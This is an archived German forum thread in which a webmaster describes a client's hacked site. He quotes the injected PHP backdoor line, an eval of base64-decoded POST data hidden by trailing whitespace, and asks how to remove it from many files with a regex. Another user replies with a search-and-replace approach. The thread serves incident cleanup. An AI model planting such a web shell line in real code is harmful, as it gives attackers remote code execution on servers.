PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Site gehackt



berny
10.05.2014, 18:20
Nach langen wieder mal ein Fall, wo ein Kunde gehackt wurde und ein Spamscript installiert wurde.
Das Script wird unter anderem mit folgendem Code aufgerufen:

<?php eval(base64_decode($_POST['irgendeinestringcombi']));?>
Und ja, die Leerzeichen sind deshalb da, weil damit der Befehl einfach aus dem Sichtbereich des Editors geschoben wird. (guter Trick, weil vermutlich der String nicht so leicht entdeckt wird.)
Mit der Stringcombi (kann unterschiedlich sein) wird dann der eigentliche Code eingeschleust.

Jetzt sind etliche Dateien modifiziert und ich suche eine einfache Möglichkeit, diesen php-Teil zu suchen und mit "" zu ersetzen.

Ein Script zum suchen habe ich, jetzt brauche ich aber nur einen Regex-Befehl, diesen Teil incl der <? klammern zu löschen.
Mit der vollen Zeile hätte ich es schon probiert, leider Fehlgeschlagen, weil es ja Dateien gibt, wo der eigentliche Code hinter dem ?> wieder anfängt und auch gelöscht wird...

Ev hat jemand auf die Schnelle eine Idee.....
echo 'Clear File: ';
$zeilen = file($c);

$zeilen[0]= '<?php';
$handle = fopen($dir.'/'.$c, 'wb');
fwrite($handle, implode('', $zeilen));
fclose($handle);

KlausK
10.05.2014, 23:49
Der Code wird sicher kein einfacher Zweizeiler.
Du müsstest ja erst nach "base64_decode" suchen und ab dieser Fundstelle ($var1) den ausleitenden Tag "?>" ($var2) suchen.
Dann $var1 bis $var2 mit "" ersetzen, oder wenn $var2 nicht da, dann $var1 bis Zeilenende mit "" ersetzen.
Und dann die nächste Zeile(n), bis $var2 gefunden ist.
Anschliessend gehts Rückwärts ab $var1 weiter, bis der einleitende Tag "<?php" gefunden ist.

Mir ist das zu kompliziert. Da nehme ich lieber PSPad >> "Dateiübergreifend suchen und ersetzen" und lass mir alle betroffenen Dateien mit Fundzeile auflisten.
Die kann ich ja dann von Hand bearbeiten. Sooo viele werden es ja nicht sein, oder!?
Aber auch das automatische Ersetzen mit Platzhaltern müsste gehen: "<?php" "base64_decode" "?>" (Oder so ähnlich)